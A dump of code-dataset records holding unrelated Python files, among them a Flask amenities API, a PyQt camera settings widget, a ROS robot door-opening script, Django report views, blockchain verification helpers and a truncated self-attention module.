birth\n \"\"\"\"Displaying earliest, most recent, and most common year of birth; use 'try' to account for possibly missing data in the table\"\"\"\n try:\n earliest_year = df['Birth Year'].min()\n print(\"\\n\" + \"Earliest year: \", earliest_year)\n except KeyError:\n print(\"\\n\" + \"Earliest year: No data available for this filter.\")\n\n try:\n most_recent_year = df['Birth Year'].max()\n print(\"Most recent year: \", most_recent_year)\n except KeyError:\n print(\"Most recent year: No data available for this filter.\")\n\n try:\n most_common_year_of_birth = df['Birth Year'].value_counts().idxmax()\n print(\"Most common year of birth: \", most_common_year_of_birth)\n except KeyError:\n print(\"Most common year of birth: No data available for this filter.\")\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\n\ndef raw_data2(df):\n \"\"\"Displays rows of raw data as according to user input.\"\"\"\n\n while True:\n try:\n raw_data = int(input(\"How many rows of raw data would you like to see? (Type \\'0\\' if you do not want to see any raw data): \"))\n except ValueError:\n print(\"\\n\" + \"Sorry, this is not a valid input. Please try again! \\nHint: Be aware that only integers are allowed here.\\n\")\n continue\n else:\n check_if_int = isinstance(raw_data, int)\n print(\"\\n\" + \"Check step: Validity of your inputy is {}\\n\".format(check_if_int))\n print()\n print(\"\\nYou requested to see {} row(s) of raw data. Here they are: \".format(raw_data))\n print()\n print(df.head(int(raw_data)))\n break\n\n\ndef main():\n\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n\n raw_data2(df)\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare2.py","file_name":"bikeshare2.py","file_ext":"py","file_size_in_byte":9897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"401141659","text":"#!/usr/bin/python3\n\"\"\"places_amenities.py\"\"\"\nimport os\nfrom api.v1.views import app_views\nfrom flask import abort, jsonify, make_response, request\nfrom models import storage\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom flasgger.utils import swag_from\n\n\n@app_views.route('/places//amenities', methods=['GET'],\n strict_slashes=False)\n@swag_from('documentation/place_amenity/get_id.yml', methods=['GET'])\ndef get_amenities(place_id):\n \"\"\" retrieves all amenities from a place \"\"\"\n place = storage.get(Place, place_id)\n if place is None:\n abort(404)\n amenities = [obj.to_dict() for obj in place.amenities]\n return jsonify(amenities)\n\n\n@app_views.route('/places//amenities/',\n methods=['DELETE'], strict_slashes=False)\n@swag_from('documentation/place_amenity/delete.yml', methods=['DELETE'])\ndef delete_amenity(place_id, amenity_id):\n \"\"\" delete amenity from place \"\"\"\n place = storage.get(Place, place_id)\n if place is None:\n abort(404)\n amenity = storage.get(Amenity, amenity_id)\n if amenity is None:\n abort(404)\n if amenity not in place.amenities:\n abort(404)\n place.amenities.remove(amenity)\n storage.save()\n return jsonify({})\n\n\n@app_views.route('/places//amenities/',\n methods=['POST'], strict_slashes=False)\n@swag_from('documentation/place_amenity/post.yml', methods=['POST'])\ndef post_amenity2(place_id, amenity_id):\n \"\"\" post amenity by id \"\"\"\n place = storage.get(Place, place_id)\n if place is None:\n abort(404)\n amenity = storage.get(Amenity, amenity_id)\n if amenity is None:\n abort(404)\n if amenity in place.amenities:\n return (jsonify(amenity.to_dict()), 200)\n place.amenities.append(obj)\n storage.save()\n return (jsonify(amenity.to_dict(), 201))\n","sub_path":"api/v1/views/places_amenities.py","file_name":"places_amenities.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"626505320","text":"#!/usr/bin/python3\r\n# -*- coding: UTF-8 -*-\r\nimport sys\r\nimport xml.etree.ElementTree as ET\r\n\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5.QtWidgets import QWidget, QLabel, QRadioButton, QComboBox, \\\r\n QLineEdit, QPushButton, QHBoxLayout, QVBoxLayout, \\\r\n QSplitter, QApplication\r\n\r\n\r\nclass CameraSettingsWidget(QWidget):\r\n\r\n def __init__(self, config_path):\r\n super(CameraSettingsWidget, self).__init__()\r\n self.modeLabel = QLabel(\"相机类型\")\r\n self.USBRadioButton = QRadioButton(\"USB相机\")\r\n self.RTSPRadioButton = QRadioButton(\"RTSP相机\")\r\n self.cameraIndexLabel = QLabel(\"USB相机编号\")\r\n self.cameraIndexComboBox = QComboBox()\r\n self.cameraIPLabel = QLabel(\"RTSP相机地址\")\r\n self.cameraIPLineEdit = QLineEdit()\r\n self.cameraPortLabel = QLabel(\"RTSP相机端口\")\r\n self.cameraPortLineEdit = QLineEdit()\r\n self.resolutionLabel = QLabel(\"相机解析度\")\r\n self.resolutionComboBox = QComboBox()\r\n self.cameraTestPushButton = QPushButton(\"取像测试\")\r\n self.savePushButton = QPushButton(\"保存\")\r\n\r\n self.config_path = config_path\r\n self.init_ui()\r\n self.load_config()\r\n\r\n def init_ui(self):\r\n \"\"\"\r\n Initialize UI.\r\n :return: None\r\n \"\"\"\r\n\r\n \"\"\"initialize data\"\"\"\r\n index = [str(i) for i in range(5)]\r\n self.cameraIndexComboBox.addItems(index)\r\n resolution = [\"800*480\", \"960*540\", \"1280*720\", \"1920*1080\"]\r\n self.resolutionComboBox.addItems(resolution)\r\n\r\n \"\"\"keep widgets fixed size\"\"\"\r\n self.modeLabel.setFixedWidth(200)\r\n self.USBRadioButton.setFixedWidth(200)\r\n self.RTSPRadioButton.setFixedWidth(200)\r\n self.cameraIndexLabel.setFixedWidth(200)\r\n self.cameraIPLabel.setFixedWidth(200)\r\n self.cameraPortLabel.setFixedWidth(200)\r\n self.resolutionLabel.setFixedWidth(200)\r\n self.cameraIndexComboBox.setFixedWidth(400)\r\n self.cameraIPLineEdit.setFixedWidth(400)\r\n self.cameraPortLineEdit.setFixedWidth(200)\r\n self.resolutionComboBox.setFixedWidth(400)\r\n\r\n \"\"\"slots\"\"\"\r\n self.savePushButton.clicked.connect(self.saveAction)\r\n\r\n \"\"\"leftLayout\"\"\"\r\n leftLayout = QVBoxLayout()\r\n leftLayout.addWidget(self.modeLabel)\r\n leftLayout.addWidget(self.cameraIndexLabel)\r\n leftLayout.addWidget(self.cameraIPLabel)\r\n leftLayout.addWidget(self.resolutionLabel)\r\n\r\n \"\"\"modeLayout\"\"\"\r\n modeLayout = QHBoxLayout()\r\n modeLayout.addWidget(self.USBRadioButton)\r\n modeLayout.addWidget(self.RTSPRadioButton)\r\n\r\n \"\"\"rightLayout\"\"\"\r\n rightLayout = QVBoxLayout()\r\n rightLayout.addLayout(modeLayout)\r\n rightLayout.addWidget(self.cameraIndexComboBox)\r\n rightLayout.addWidget(self.cameraIPLineEdit)\r\n rightLayout.addWidget(self.resolutionComboBox)\r\n\r\n \"\"\"topLayout\"\"\"\r\n topLayout = QHBoxLayout()\r\n topLayout.addLayout(leftLayout)\r\n topLayout.addLayout(rightLayout)\r\n\r\n \"\"\"bottomLayout\"\"\"\r\n bottomLayout = QHBoxLayout()\r\n # bottomLayout.addWidget(self.cameraTestPushButton, 0, Qt.AlignCenter)\r\n bottomLayout.addWidget(self.savePushButton, 0, Qt.AlignCenter)\r\n\r\n \"\"\"layout\"\"\"\r\n layout = QVBoxLayout()\r\n layout.addWidget(QSplitter(Qt.Vertical))\r\n layout.addLayout(topLayout)\r\n layout.addWidget(QLabel())\r\n layout.addLayout(bottomLayout)\r\n layout.addWidget(QSplitter(Qt.Vertical))\r\n self.setLayout(layout)\r\n\r\n def load_config(self):\r\n \"\"\"\r\n Load application configuration.\r\n :return: None\r\n \"\"\"\r\n try:\r\n tree = ET.parse(self.config_path)\r\n root = tree.getroot()\r\n\r\n mode = root.find('camera').find('mode').text\r\n if mode == 'USB':\r\n self.USBRadioButton.setChecked(True)\r\n self.RTSPRadioButton.setChecked(False)\r\n elif mode == 'RTSP':\r\n self.USBRadioButton.setChecked(False)\r\n self.RTSPRadioButton.setChecked(True)\r\n\r\n camera_id = root.find('camera').find('camera_id').text\r\n self.cameraIndexComboBox.setCurrentText(camera_id)\r\n\r\n ip = root.find('camera').find('ip').text\r\n self.cameraIPLineEdit.setText(ip)\r\n\r\n width = root.find('camera').find('width').text\r\n height = root.find('camera').find('height').text\r\n self.resolutionComboBox.setCurrentText(width + '*' + height)\r\n except FileNotFoundError:\r\n print(\"No config file \")\r\n except Exception as e:\r\n \"\"\"Here will emit a signal.\"\"\"\r\n print(e)\r\n\r\n def saveAction(self):\r\n \"\"\"\r\n Slot function to save user parameters.\r\n :return: None\r\n \"\"\"\r\n try:\r\n tree = ET.parse(self.config_path)\r\n root = tree.getroot()\r\n\r\n mode = \"USB\" if self.USBRadioButton.isChecked() else \"RTSP\"\r\n root.find('camera').find('mode').text = mode\r\n\r\n camera_id = self.cameraIndexComboBox.currentText()\r\n root.find('camera').find('camera_id').text = camera_id\r\n\r\n ip = self.cameraIPLineEdit.text()\r\n root.find('camera').find('ip').text = ip\r\n\r\n width = self.resolutionComboBox.currentText().split('*')[0]\r\n root.find('camera').find('width').text = width\r\n\r\n height = self.resolutionComboBox.currentText().split('*')[1]\r\n root.find('camera').find('height').text = height\r\n tree.write(self.config_path)\r\n except FileNotFoundError:\r\n print(\"No config file found.\")\r\n except Exception as e:\r\n \"\"\"Here will emit a signal.\"\"\"\r\n print(e)\r\n\r\n def showEvent(self, QShowEvent):\r\n \"\"\"\r\n Reload application configuration when widget show again.\r\n :param QShowEvent: ignore this\r\n :return: None\r\n \"\"\"\r\n self.load_config()\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n win = CameraSettingsWidget('../appconfig/appconfig.xml')\r\n win.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"ui/CameraSettingsWidget.py","file_name":"CameraSettingsWidget.py","file_ext":"py","file_size_in_byte":6253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"14979137","text":"\nimport time\nimport json\nimport logging\nfrom utils.pg_utils import pg_conn\nfrom datetime import datetime\nimport requests\n\n\ndef get_crawl_status(crawl_id):\n\n t0 = time.time()\n conn = pg_conn()\n cur2 = conn.cursor()\n\n r = requests.get(\"http://xtract-crawler-4.eba-ghixpmdf.us-east-1.elasticbeanstalk.com/get_crawl_status\",\n json={'crawl_id': crawl_id})\n\n vals = json.loads(r.content)\n t1 = time.time()\n\n return vals\n\n\ndef get_extract_status(orchestrator):\n\n t0 = time.time()\n\n send_status = orchestrator.send_status\n poll_status = orchestrator.poll_status\n # conn = pg_conn()\n # cur1 = conn.cursor()\n # cur2 = conn.cursor()\n # cur3 = conn.cursor()\n # cur4 = conn.cursor()\n # pending_query = f\"SELECT COUNT(*) FROM group_metadata_2 WHERE status='EXTRACTING' AND crawl_id='{crawl_id}';\"\n # finished_query = f\"SELECT COUNT(*) FROM group_metadata_2 WHERE status='EXTRACTED' AND crawl_id='{crawl_id}';\"\n # idle_query = f\"SELECT COUNT(*) FROM group_metadata_2 WHERE status='crawled' AND crawl_id='{crawl_id}';\"\n # failed_query = f\"SELECT COUNT(*) FROM group_metadata_2 WHERE status='FAILED' AND crawl_id='{crawl_id}';\"\n #\n # cur1.execute(pending_query)\n # cur2.execute(finished_query)\n # cur3.execute(idle_query)\n # cur4.execute(failed_query)\n #\n # pending_val = cur1.fetchall()[0][0]\n # finished_val = cur2.fetchall()[0][0]\n # idle_val = cur3.fetchall()[0][0]\n # failed_val = cur4.fetchall()[0][0]\n t1 = time.time()\n\n logging.info(f\"Extract status query time: {t1-t0}\")\n\n return {\"crawl_id\": orchestrator.crawl_id, \"send_status\": send_status, \"poll_status\": poll_status}\n # \"FINISHED\": finished_val,\n # \"PENDING\": pending_val,\n # \"IDLE\": idle_val,\n # \"FAILED\": failed_val}\n","sub_path":"status_checks.py","file_name":"status_checks.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"90912184","text":"# -*- coding: utf-8 -*-\nimport random\nimport numpy as np\n\n\ndef exch(items, idx_1, idx_2):\n item_1 = items[idx_1]\n item_2 = items[idx_2]\n items[idx_1] = item_2\n items[idx_2] = item_1\n return items\n\ndef insertion_sort_step(items, step):\n for i in range(step, len(items)):\n for j in range(i, 0, -step):\n if items[j] < items[j-step] and j-step >= 0:\n items = exch(items, j, j-step)\n return items\n\n\ndef shellsort(items):\n shell_list = [31, 15, 7, 3, 1]\n for i in shell_list:\n items = insertion_sort_step(items, i)\n return items\n\nif __name__ == '__main__':\n test_items = [9, 5, 4, 6, 3, 1, 75, 11, 33, 75, 2, 13, 15, 17, 24, 43]\n part_sorted_items = insertion_sort_step(test_items, 20)\n print(part_sorted_items)\n sort_items = shellsort(test_items)\n print(part_sorted_items)\n","sub_path":"sort/shellsort.py","file_name":"shellsort.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"74067844","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport roslib; roslib.load_manifest('velma_task_cs_ros_interface')\nimport rospy\n\nfrom velma_common import *\nfrom rcprg_planner import *\nfrom rcprg_ros_utils import exitError\nfrom tf2_ros import TransformException\n\nfrom math import atan2, cos, sin, pi, tan\nfrom pprint import pprint\n\n\ndef getTf(base, frame):\n success = False\n\n while not success:\n try:\n result = velma.getTf(base, frame)\n success = True\n except TransformException as e:\n print('Transformation Error:', e)\n rospy.sleep(0.1)\n pass\n\n return result\n\n\ndef init_velma():\n \"\"\"Initializes robot interface\"\"\"\n print('Init inteface')\n velma = VelmaInterface()\n velma.waitForInit(timeout_s=10.0)\n if velma.enableMotors() != 0:\n print('Cannot enable motors')\n velma.startHomingHP()\n if velma.waitForHP() != 0:\n print('Cannot enable head pan motor')\n velma.startHomingHT()\n if velma.waitForHT() != 0:\n print('Cannot enable head tilt motor')\n\n return velma\n\n\ndef enable_motors():\n if velma.enableMotors() != 0:\n print('Cannot enable motors')\n\n\ndef make_wrench(lx, ly, lz, rx, ry, rz):\n \"\"\"Helper function to create PyKDL.Wrench\"\"\"\n return PyKDL.Wrench(\n PyKDL.Vector(lx, ly, lz),\n PyKDL.Vector(rx, ry, rz)\n )\n\n\ndef jnt_mode():\n \"\"\"Switches robot to joint impedance mode\"\"\"\n print('Switch to jnt mode')\n velma.moveJointImpToCurrentPos(start_time=0.5)\n error = velma.waitForJoint()\n if error != 0:\n print('The error code is', error)\n exitError(3)\n\n rospy.sleep(0.5)\n diag = velma.getCoreCsDiag()\n if not diag.inStateJntImp():\n print('The core_cs should be in jnt_imp state, but it is not')\n exitError(8)\n\n\ndef cart_mode():\n \"\"\"Switches robot to cartesian mode\"\"\"\n print('Switch to cartesian mode')\n if not velma.moveCartImpRightCurrentPos(start_time=0.2):\n exitError(10)\n if velma.waitForEffectorRight() != 0:\n exitError(11)\n rospy.sleep(0.5)\n\n diag = velma.getCoreCsDiag()\n if not diag.inStateCartImp():\n print('The core_cs should be in cart_imp state, but it is not')\n exitError(12)\n\n\ndef move_jnt(q_pos):\n print('Move joints')\n tol = (15.0 / 180.0) * pi\n velma.moveJoint(q_pos, 9.0, start_time=0.5, position_tol=tol)\n error = velma.waitForJoint()\n if error != 0:\n print('The action should have ended without error, but the error code is', error)\n exitError(6)\n\n rospy.sleep(0.5)\n js = velma.getLastJointState()\n if not isConfigurationClose(q_pos, js[1], tolerance=0.1):\n exitError(10)\n\n\ndef move_cart(traj, times):\n \"\"\"Moves in world cartesian coordinates according to given trajectory.\"\"\"\n print('Move cartesian')\n if not velma.moveCartImpRight(traj, times, None, None, None, None, make_wrench(5, 5, 5, 5, 5, 5), start_time=0.5):\n exitError(13)\n if velma.waitForEffectorRight() != 0:\n exitError(14)\n rospy.sleep(0.5)\n\n\ndef chill_out():\n \"\"\"Sets low impedance\"\"\"\n print('Chill out')\n imp_list = [\n make_wrench(1000, 1000, 1000, 150, 150, 150),\n make_wrench(500, 500, 1000, 150, 150, 150),\n make_wrench(250, 250, 1000, 150, 150, 150),\n ]\n times = [0.5, 1.0, 1.5]\n if not velma.moveCartImpRight(None, None, None, None, imp_list, times, make_wrench(5, 5, 5, 5, 5, 5), start_time=0.5):\n exitError(16)\n if velma.waitForEffectorRight() != 0:\n exitError(17)\n\n\ndef approach_door():\n \"\"\"Moves right hand close to `right_door`\"\"\"\n print('Approach right door')\n traj, times = [], []\n tool = getTf('B', 'right_arm_tool')\n door_to_body = getTf('B', 'right_door')\n\n rot = PyKDL.Rotation.Quaternion(*door_to_body.M.GetQuaternion())\n rot.DoRotZ(pi)\n vec = door_to_body * PyKDL.Vector(\n 0.4,\n -0.1,\n 0.08\n )\n traj.append(PyKDL.Frame(rot, vec))\n times.append(sum(times) + 2.0)\n move_cart(traj, times)\n\n dist = getTf('Gr', 'right_door')\n tool_to_body = getTf('B', 'right_arm_tool')\n rot = tool_to_body.M\n vec = tool_to_body * PyKDL.Vector(\n dist.p[2] - 0.05,\n 0.0,\n 0.0\n )\n traj.append(PyKDL.Frame(rot, vec))\n times.append(sum(times) + 2.0)\n move_cart(traj, times)\n\n\ndef slide_onto_handle():\n \"\"\"Moves right hand onto door handle\"\"\"\n print('Slide onto handle')\n traj, times = [], []\n\n tool_to_body = getTf('B', 'right_arm_tool')\n rot = tool_to_body.M\n vec = tool_to_body * PyKDL.Vector(\n 0.0,\n 0.27,\n 0.0\n )\n traj.append(PyKDL.Frame(rot, vec))\n times.append(sum(times) + 4.0)\n move_cart(traj, times)\n\n traj, times = [], []\n tool_to_body = getTf('B', 'right_arm_tool')\n vec = tool_to_body * PyKDL.Vector(\n -0.02,\n -0.05,\n 0.0\n )\n traj.append(PyKDL.Frame(rot, vec))\n times.append(sum(times) + 2.0)\n move_cart(traj, times)\n\n\ndef open_door():\n \"\"\"Opens door\"\"\"\n print('Open door')\n stpts = 10\n total_time = 8.0\n altitude = getTf('B', 'Gr').p[2]\n grip_to_tool = getTf('Gr', 'right_arm_tool')\n #radius = -getTf('right_door', 'Gr').p[1]\n radius = 0.27\n print('R:', radius)\n\n door = getTf('B', 'right_door')\n center = PyKDL.Vector(door.p[0], door.p[1], door.p[2])\n print('Center:', center)\n\n vecs = [\n PyKDL.Vector(\n center[0] + radius * cos((pi / 2) + (i / (stpts - 1.0)) * (pi / 2)),\n center[1] + radius * sin((pi / 2) + (i / (stpts - 1.0)) * (pi / 2)),\n altitude\n )\n for i in range(1, stpts)\n ]\n vecs.append(PyKDL.Vector(\n center[0] - radius,\n center[1] - 0.1,\n altitude\n ))\n\n rots = [\n PyKDL.Rotation.RPY(-(i / (stpts - 1.0)) * (pi / 2), pi / 2, 0.0)\n for i in range(1, stpts)\n ]\n rots.append(PyKDL.Rotation.RPY(-pi / 2, pi / 2, 0.0))\n\n traj = [\n PyKDL.Frame(rot, vec) * grip_to_tool\n for rot, vec in zip(rots, vecs)\n ]\n\n times = [\n total_time * i / (stpts - 1)\n for i in range(1, stpts)\n ]\n times.append(times[-1] + 2.0)\n\n move_cart(traj, times)\n\n\ndef leave_handle():\n \"\"\"Slides hand out of handle\"\"\"\n print('Leave handle')\n tool = getTf('B', 'right_arm_tool')\n\n wanted = tool\n wanted.M.DoRotZ(-pi / 2)\n\n move_cart([wanted], [2.0])\n\n\ndef back_out():\n \"\"\"Moves hand away from the door\"\"\"\n print('Back out')\n tool = getTf('B', 'right_arm_tool')\n\n wanted = tool\n wanted.p[0] -= 0.2\n\n move_cart([wanted], [2.0])\n\n\ndef full_grip():\n \"\"\"Fully closes fingers in right hand\"\"\"\n angle = pi * (0.5)\n dest_q = [angle, angle, angle, pi]\n print('Fully close right hand')\n velma.moveHandRight(dest_q, [1, 1, 1, 1], [2000, 2000, 2000, 2000], 1000, hold=True)\n if velma.waitForHandRight() != 0:\n exitError(8)\n rospy.sleep(0.5)\n\n\ndef strong_grip():\n \"\"\"Fully and strongly closes fingers in right hand\"\"\"\n angle = pi * (0.5)\n dest_q = [angle, angle, angle, pi]\n print('Partly close right hand')\n velma.moveHandRight(dest_q, [1, 1, 1, 1], [20000, 20000, 20000, 20000], 10000, hold=True)\n if velma.waitForHandRight() != 0:\n exitError(8)\n rospy.sleep(0.5)\n\n\ndef release():\n \"\"\"Opens fingers in right hand\"\"\"\n angle = 0.0\n dest_q = [angle, angle, angle, 0]\n print('Open right hand')\n velma.moveHandRight(dest_q, [1, 1, 1, 1], [2000, 2000, 2000, 2000], 1000, hold=True)\n if velma.waitForHandRight() != 0:\n exitError(8)\n rospy.sleep(0.5)\n\n\ndef starting_pose():\n \"\"\"Sets robot in starting configuration\"\"\"\n print('Back to start')\n move_jnt(q_map_start)\n\n\nif __name__ == '__main__':\n # define some configurations\n q_map_start = {\n 'torso_0_joint': 0.0,\n 'left_arm_0_joint': 0.46, 'right_arm_0_joint': -0.46,\n 'left_arm_1_joint': 1.79, 'right_arm_1_joint': -1.79,\n 'left_arm_2_joint': -1.23, 'right_arm_2_joint': 1.23,\n 'left_arm_3_joint': -0.86, 'right_arm_3_joint': 0.86,\n 'left_arm_4_joint': -0.32, 'right_arm_4_joint': 0.32,\n 'left_arm_5_joint': 0.60, 'right_arm_5_joint': -0.60,\n 'left_arm_6_joint': 0.17, 'right_arm_6_joint': -0.17,\n }\n\n rospy.init_node('project_2')\n velma = init_velma()\n\n jnt_mode()\n starting_pose()\n full_grip()\n\n cart_mode()\n chill_out()\n approach_door()\n slide_onto_handle()\n \n open_door()\n leave_handle()\n back_out()\n starting_pose()\n","sub_path":"scripts/prj2.py","file_name":"prj2.py","file_ext":"py","file_size_in_byte":8544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"91527678","text":"# https://www.dr-mikes-math-games-for-kids.com/easter-date-tables.html?century=26\r\n\r\nimport pandas as pd\r\n\r\nholder = []\r\ndf = pd.read_csv('dates.csv')\r\nfor a, b in df.iterrows():\r\n temp = b['date'].split(\" \")\r\n day= temp[1][:-2]\r\n day = \"{:02}\".format(int(day))\r\n month = \"03\" if temp[0].strip() == \"March\" else \"04\"\r\n standard_date = \"-\".join([temp[2].strip(), month, day])\r\n nice_date = \"\".join([temp[0].strip(),\" \", day, \", \", temp[2].strip()])\r\n holder.append([temp[2], standard_date, nice_date])\r\n\r\ndf2 = pd.DataFrame(holder, columns=['Year', 'Date', 'Easter Sunday'])\r\ndf2.sort_values('Year', inplace=True)\r\n# df2['Easter Sunday'] = df2['Date'].apply(lambda x: x.strftime('%B %d, %Y') if x else None)\r\nprint(df2.head())\r\nprint(df2.info())\r\ndf2.to_csv('right_dates.csv', index=False)","sub_path":"dates/sort_dates.py","file_name":"sort_dates.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"492945011","text":"\nfrom django.views import generic\nfrom django.db.models import Q\nfrom django.utils import timezone\nfrom django.template import loader\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom users.models import MarketUser\nfrom market.models import Book, Author, Listing, BookRequest, Transaction\nfrom .functions import *\n\ndef totals(request):\n '''\n For display for superuser totals.html page of site.\n\n A. Uses stats_func() from functions.py to calculate:\n\n (1) Counts\n (2) Average per user\n (3) Mode per user\n (4) Median per\n\n for Listings, Book Requests, & Transactions\n\n B. Uses txs1_stats_func() from functions.py to calculate those four stats\n for Transactions with Status Sold on Site\n\n C. Users txs2_stat_func() from functions.py to calculate those four stats\n for Transactions with Status Not Sold on Site,\n\n D. And completes some other statistics.\n '''\n\n num_mus = MarketUser.objects.count()\n num_as = Author.objects.count()\n num_bks = Book.objects.count()\n\n # avg_price, mode_price, med_price = price_stats_func()\n\n # listings\n num_ls, avg_ls, med_ls = stats_func(Listing)\n\n # book requests\n num_brs, avg_brs, med_brs = stats_func(BookRequest)\n\n # transactions : total\n num_txs, avg_txs, med_txs = stats_func(Transaction)\n\n # transactions : sold on site\n num_txs1, avg_txs1, med_txs1 = txs1_stats_func(Transaction)\n\n # transactions : not sold on site\n num_txs2, avg_txs2, med_txs2 = txs2_stats_func(Transaction)\n\n context = {\n 'num_users': num_mus,\n 'num_authors': num_as,\n 'num_books': num_bks,\n\n 'num_listings': num_ls,\n 'avg_ls_per_user': avg_ls,\n 'med_ls_per_user': med_ls,\n\n 'num_requests': num_brs,\n 'avg_brs_per_user': avg_brs,\n 'med_brs_per_user': med_brs,\n\n 'num_transactions': num_txs,\n 'avg_txs_per_user': avg_txs,\n 'med_txs_per_user': med_txs,\n\n 'num_txs1': num_txs1,\n 'avg_txs1_per_user': avg_txs1,\n 'med_txs1_per_user': med_txs1,\n\n 'num_txs2': num_txs2,\n 'avg_txs2_per_user': avg_txs2,\n 'med_txs2_per_user': med_txs2,\n\n }\n\n # Render the HTML template totals.html with the data in the context variable\n return render(request, 'reports/totals.html', context=context)\n\n#### added with permission_required to market\n# class TransactionListView(generic.ListView):\n# model = Transaction\n# paginate_by = 10\n# template_name='reports/transaction_list.html'\n\nclass FilteredTemplateView(generic.TemplateView):\n template_name='reports/filter.html'\n\nclass TransactionFilteredView(generic.ListView):\n model = Transaction\n\n def get_queryset(self):\n start = self.request.GET.get('start_date')\n end = self.request.GET.get('end_date')\n filt_txs = Transaction.objects.filter(Q(date_closed__range=[start, end])).all()\n return filt_txs\n\nclass BookRequestFilteredView(generic.ListView):\n model = BookRequest\n\n def get_queryset(self):\n start = self.request.GET.get('start_date')\n end = self.request.GET.get('end_date')\n filt_brs = BookRequest.objects.filter(Q(date_created__range=[start, end])).all()\n return filt_brs\n\nclass ListingFilteredView(generic.ListView):\n model = Listing\n\n def get_queryset(self):\n start = self.request.GET.get('start_date')\n end = self.request.GET.get('end_date')\n filt_ls = Listing.objects.filter(Q(date_created__range=[start, end])).all()\n return filt_ls\n","sub_path":"reports/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"291941589","text":"import hashlib\nfrom Utility.hash_util import Hash_util\nfrom wallet import Wallet\n\nclass Verification_util:\n\n @staticmethod\n def verify_transaction(transaction, get_balance):\n ''' Verify a transaction the sender has sufficient coins '''\n sender_balance_account = get_balance(transaction.t_from)\n return sender_balance_account >= transaction.amount and Wallet.verify_transaction(transaction)\n\n @staticmethod\n def valid_proof(transactions, last_hash, proof):\n guess = str([tx.tx_ordered_dict() for tx in transactions]) + str(last_hash) + str(proof)\n guess_hash = hashlib.sha256(guess.encode()).hexdigest()\n print(guess_hash)\n return guess_hash[0:2] == '00'\n\n @classmethod\n def verify_blockchain(cls, blockchain):\n ''' returns \n (true) if blockchain is valid : block has the same previous block hash\n (false) if blockchain is not valid = block != from previous block hash\n '''\n for (index, block) in enumerate(blockchain.chain):\n if index == 0:\n continue\n if block.previous_hash != Hash_util.hash_block(blockchain.chain[index - 1]):\n print(f'Invalid Hash at {block.previous_hash}')\n return False \n if not cls.valid_proof(block.transactions[:-1], block.previous_hash, block.proof):\n print('Invalid proof of work')\n return False\n return True","sub_path":"Utility/verification_util.py","file_name":"verification_util.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"88970436","text":"#!/usr/bin/python\n# MIT License\n# Copyright (c) 2018 David Alejandro Gonzalez Marquez\n\nfrom __future__ import print_function\n\nimport sys\nfrom common import *\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print(\"Usage: assembler.py file.asm\")\n exit(1)\n\n filename = sys.argv[1]\n if filename[-4:] == \".asm\":\n outputM=filename[:-4] + \".mem\"\n outputH=filename[:-4] + \".txt\"\n else:\n outputM=filename + \".mem\"\n outputH=filename + \".txt\"\n\n try:\n tokens = tokenizator(filename)\n instructions,labels = removeLabels(tokens)\n parseBytes, parseHuman = parseInstructions(instructions,labels)\n if parseBytes != None:\n printCode(outputM,parseBytes)\n if parseHuman != None:\n printHuman(outputH,parseHuman,labels,filename)\n\n except ValueError as e:\n print(e)","sub_path":"OrgaSmall/tools/assembler.py","file_name":"assembler.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"425955841","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom spectral import SpectralNorm\nimport numpy as np\n\nclass Self_Attn(nn.Module):\n \"\"\" Self attention Layer\"\"\"\n def __init__(self, in_dim):\n super().__init__()\n \n # Construct the module\n self.query_conv = nn.Conv2d(in_channels = in_dim , out_channels = in_dim//2 , kernel_size= 1)\n self.key_conv = nn.Conv2d(in_channels = in_dim , out_channels = in_dim//2 , kernel_size= 1)\n self.value_conv = nn.Conv2d(in_channels = in_dim , out_channels = in_dim , kernel_size= 1)\n \n self.gamma = nn.Parameter(torch.zeros(1))\n self.softmax = nn.Softmax(dim=-1)\n \n def forward(self,x):\n \"\"\"\n inputs :\n x : input feature maps( B * C * W * H)\n returns :\n out : self attention value + input feature \n attention: B * N * N (N is Width*Height)\n \"\"\"\n m_batchsize,C,width ,height = x.size()\n \n proj_query = self.query_conv(x).view(m_batchsize, -1, width*height).permute(0,2,1) # B * N * C\n proj_key = self.key_conv(x).view(m_batchsize, -1, width*height) # B * C * N\n energy = torch.bmm(proj_query, proj_key) # batch matrix-matrix product\n \n attention = self.softmax(energy) # B * N * N\n proj_value = self.value_conv(x).view(m_batchsize, -1, width*height) # B * C * N\n out = torch.bmm(proj_value, attention.permute(0,2,1)) # batch matrix-matrix product\n out = out.view(m_batchsize,C,width,height) # B * C * 